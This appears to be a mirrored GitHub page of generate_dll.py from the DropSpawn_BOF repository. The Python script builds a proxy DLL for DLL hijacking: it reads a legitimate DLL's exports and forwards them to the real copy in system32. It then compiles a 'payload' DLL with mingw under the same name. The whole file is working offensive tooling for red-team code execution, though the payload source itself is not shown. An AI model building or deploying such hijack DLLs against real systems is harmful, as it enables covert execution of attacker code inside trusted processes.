mirror of
https://github.com/Octoberfest7/DropSpawn_BOF
synced 2026-06-06 16:24:32 +00:00
Octoberfest7
7628187b37
Fix current directory detection Update README.md Fixes Update README.md Update README.md Update README.md Update README.md Fixes Fixes
68 lines
2.8 KiB
Python
Executable File
68 lines
2.8 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
|
|
#Most of this script taken from: https://github.com/tothi/dll-hijack-by-proxying/blob/master/gen_def.py
|
|
|
|
import os
|
|
import sys
|
|
import pefile
|
|
|
|
def Help():
|
|
print("Invalid usage!\nUsage: python3 generate_dll.py <path/to/real/DLL> <x86|x64>")
|
|
sys.exit()
|
|
|
|
if len(sys.argv) != 3 or ".dll" not in sys.argv[1] or (sys.argv[2] != "x64" and sys.argv[2] != "x86"):
|
|
Help()
|
|
|
|
#Get cwd
|
|
cwd = os.getcwd()
|
|
|
|
#Grab DLL sys.argv1
|
|
dll = pefile.PE(sys.argv[1])
|
|
|
|
#Get DLL name from supplied path
|
|
dll_name = (sys.argv[1]).split("/")[-1];
|
|
|
|
#Strip .dll from the name e.g. cscapi.dll -> cscapi
|
|
dll_basename = os.path.splitext(dll_name)[0]
|
|
|
|
#Create .def file name
|
|
deffile_name = dll_basename + ".def"
|
|
|
|
#Create .def file for writing
|
|
deffile = open("src/DLL_Payload/exports.def", "w")
|
|
deffile.write("EXPORTS\n")
|
|
|
|
#Walk legitimate DLL and create list of all exports so we can forward any calls to functions to the real DLL
|
|
#Note that the C:/windows/system32/ part could be removed, which would result in the DLL search order being followed;
|
|
#Had issues with this however that were resolved by pointing at the DLL's via absolute path
|
|
#Most DLL's will be found in system32, but if one needed to be found elsewhere would have to alter the script.
|
|
#This also doesn't account for hijacking an x86 DLL on a x64 system in which case syswow64 would be needed...
|
|
#Room for further research and work here.
|
|
for export in dll.DIRECTORY_ENTRY_EXPORT.symbols:
|
|
if export.name:
|
|
deffile.write('{}=C:/windows/system32/{}.{} @{}\n'.format(export.name.decode(), dll_basename, export.name.decode(), export.ordinal))
|
|
deffile.close()
|
|
|
|
#Generate x64 DLL
|
|
if sys.argv[2] == "x64":
|
|
result = os.system('x86_64-w64-mingw32-gcc -c -o src/DLL_Payload/delete64.o src/DLL_Payload/entry.c')
|
|
if result == 0:
|
|
result = os.system('x86_64-w64-mingw32-windres src/DLL_Payload/resource.rc src/DLL_Payload/delete64.o')
|
|
if result == 0:
|
|
os.system('x86_64-w64-mingw32-dllwrap --def src/DLL_Payload/exports.def src/DLL_Payload/delete64.o -o dist/{} src/DLL_Payload/entry.c -s -Os -lshlwapi'.format(dll_name))
|
|
if result == 0:
|
|
print("Payload created at: " + cwd + "/dist/" + dll_name)
|
|
|
|
#Generate x86 DLL
|
|
elif sys.argv[2] == "x86":
|
|
result = os.system('i686-w64-mingw32-gcc -c -o src/DLL_Payload/delete32.o src/DLL_Payload/entry.c')
|
|
if result == 0:
|
|
result = os.system('i686-w64-mingw32-windres src/DLL_Payload/resource.rc src/DLL_Payload/delete32.o')
|
|
if result == 0:
|
|
result = os.system('i686-w64-mingw32-dllwrap --def src/DLL_Payload/exports.def src/DLL_Payload/delete32.o -o dist/{} src/DLL_Payload/entry.c -s -Os -lshlwapi'.format(dll_name))
|
|
if result == 0:
|
|
print("Payload created at: " + cwd + "/dist/" + dll_name)
|
|
|
|
#Print help menu and exit
|
|
else:
|
|
Help() |